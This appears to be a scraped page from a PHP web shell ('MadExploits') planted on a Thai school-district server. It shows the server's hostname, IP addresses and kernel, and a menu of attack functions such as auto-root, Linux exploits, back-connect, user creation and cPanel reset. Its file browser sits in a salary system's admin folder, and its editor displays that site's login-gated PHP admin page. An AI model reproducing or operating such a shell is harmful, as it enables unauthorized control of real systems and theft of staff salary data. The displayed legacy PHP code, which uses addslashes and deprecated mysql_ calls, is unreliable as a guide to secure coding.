Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
salary_online /
admin1 /
[ HOME SHELL ]
Name
Size
Permission
Action
_notes
[ DIR ]
drwxr-xr-x
PHPCounter.txt
9
B
-rw-r--r--
PHPCounter2.txt
9
B
-rw-r--r--
del_ok.php
1.35
KB
-rw-r--r--
del_user.php
10.25
KB
-rw-r--r--
edit_admin.php
6.49
KB
-rw-r--r--
edit_ok.php
1.36
KB
-rw-r--r--
edit_user.php
10.81
KB
-rw-r--r--
index.php
5.01
KB
-rw-r--r--
insert_ok.php
1.36
KB
-rw-r--r--
insert_user.php
7.19
KB
-rw-r--r--
login_fail.php
1.38
KB
-rw-r--r--
main.php
6.65
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : main.php
<?php require_once('../Connections/salary2_nma6.php'); ?> <?php //initialize the session if (!isset($_SESSION)) { session_start(); } // ** Logout the current user. ** $logoutAction = $_SERVER['PHP_SELF']."?doLogout=true"; if ((isset($_SERVER['QUERY_STRING'])) && ($_SERVER['QUERY_STRING'] != "")){ $logoutAction .="&". htmlentities($_SERVER['QUERY_STRING']); } if ((isset($_GET['doLogout'])) &&($_GET['doLogout']=="true")){ //to fully log out a visitor we need to clear the session varialbles $_SESSION['MM_Username'] = NULL; $_SESSION['MM_UserGroup'] = NULL; $_SESSION['PrevUrl'] = NULL; unset($_SESSION['MM_Username']); unset($_SESSION['MM_UserGroup']); unset($_SESSION['PrevUrl']); $logoutGoTo = "index.php"; if ($logoutGoTo) { header("Location: $logoutGoTo"); exit; } } ?> <?php if (!isset($_SESSION)) { session_start(); } $MM_authorizedUsers = ""; $MM_donotCheckaccess = "true"; // *** Restrict Access To Page: Grant or deny access to this page function isAuthorized($strUsers, $strGroups, $UserName, $UserGroup) { // For security, start by assuming the visitor is NOT authorized. $isValid = False; // When a visitor has logged into this site, the Session variable MM_Username set equal to their username. // Therefore, we know that a user is NOT logged in if that Session variable is blank. if (!empty($UserName)) { // Besides being logged in, you may restrict access to only certain users based on an ID established when they login. // Parse the strings into arrays. $arrUsers = Explode(",", $strUsers); $arrGroups = Explode(",", $strGroups); if (in_array($UserName, $arrUsers)) { $isValid = true; } // Or, you may restrict access to only certain users based on their username. if (in_array($UserGroup, $arrGroups)) { $isValid = true; } if (($strUsers == "") && true) { $isValid = true; } } return $isValid; } $MM_restrictGoTo = "login_fail.php"; if (!((isset($_SESSION['MM_Username'])) && (isAuthorized("",$MM_authorizedUsers, $_SESSION['MM_Username'], $_SESSION['MM_UserGroup'])))) { $MM_qsChar = "?"; $MM_referrer = $_SERVER['PHP_SELF']; if (strpos($MM_restrictGoTo, "?")) $MM_qsChar = "&"; if (isset($QUERY_STRING) && strlen($QUERY_STRING) > 0) $MM_referrer .= "?" . $QUERY_STRING; $MM_restrictGoTo = $MM_restrictGoTo. $MM_qsChar . "accesscheck=" . urlencode($MM_referrer); header("Location: ". $MM_restrictGoTo); exit; } ?> <?php $colname_Recordset1 = "-1"; if (isset($_SESSION['MM_Username'])) { $colname_Recordset1 = (get_magic_quotes_gpc()) ? $_SESSION['MM_Username'] : addslashes($_SESSION['MM_Username']); } mysql_select_db($database_salary2_nma6, $salary2_nma6); $query_Recordset1 = sprintf("SELECT * FROM `admin` WHERE username = '%s'", $colname_Recordset1); $Recordset1 = mysql_query($query_Recordset1, $salary2_nma6) or die(mysql_error()); $row_Recordset1 = mysql_fetch_assoc($Recordset1); $totalRows_Recordset1 = mysql_num_rows($Recordset1); ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>ระบบแจ้งยอดเงินเดือน ออนไลน์ </title> <style type="text/css"> <!-- .style1 { color: #FFFFFF; font-weight: bold; } .style2 {color: #FFFFFF} --> </style> </head> <body> <table width="100%" border="0"> <tr> <td align="center"><table width="80%" border="1"> <tr> <td align="center" bgcolor="#FF9900"><h2><strong>สำนักงานเขตพื้นที่การศึกษาประถมศึกษานครราชสีมา เขต 6</strong></h2></td> </tr> <tr> <td align="center"><form id="form1" name="form1" method="post" action=""> <p><strong>ระบบแจ้งยอดเงินเดือน ออนไลน์ </strong><br /> <br /> <strong>ยินดีต้อนรับคุณ</strong> <?php echo $row_Recordset1['username']; ?></p> <p>ระบบจัดการข้อมูลผู้ใช้ (ครู บุคลากร) <br /> <br /> <a href="insert_user.php">เพิ่มผู้ใช้ </a></p> <p><a href="edit_user.php">แก้ไขผู้ใช้ </a></p> <p><a href="del_user.php">ลบผู้ใช้ </a></p> <p> <label></label> <a href="edit_admin.php">แก้ไขรหัสผ่าน Admin </a></p> <p><a href="<?php echo $logoutAction ?>">ออกจากระบบ</a><br /> </p> </form> </td> </tr> <tr> <td align="center" bgcolor="#FF9900"><table width="100%" align="center" cellpadding="0" cellspacing="0"> <tbody> <tr> <td height="20"><div align="center"> <div align="center"><strong>สำนักงานเขตพื้นที่การศึกษาประถมศึกษานครราชสีมา เขต 6 </strong></div> </div></td> </tr> <tr> <td height="16"><div align="center"> <div align="center"> 666 ถนนนิเวศน์รัตน์ ตำบลบัวใหญ่ <br /> อำเภอบัวใหญ่ จังหวัดนครราชสีมา 30120 </div> </div></td> </tr> <tr> <td height="20"><div align="center">Tel. 0-4446-1672 Fax. 0-4446-1672</div></td> </tr> </tbody> </table> </td> </tr> </table></td> </tr> <tr> <td align="center"><table width="80%" border="0"> <tr> <td align="center"><? $filename = "PHPCounter2.txt"; $fp = fopen( $filename,"r"); $Old = fread($fp, 100); fclose( $fp ); $Old = split ("=", $Old, 5); $NewCount = $Old[1] + '1'; $New = "Count=$NewCount"; $fp = fopen( $filename,"w+"); if (flock($fp, 2)) { fwrite($fp, $New, 100); } fclose( $fp ); print "สถิติการใช้งานหน้านี้ = $NewCount"; print " ครั้ง "; ?> (เริ่มเก็บสถิติ 4 มิถุนายน 2557) </td> </tr> </table></td> </tr> </table> </body> </html> <?php mysql_free_result($Recordset1); ?>
Close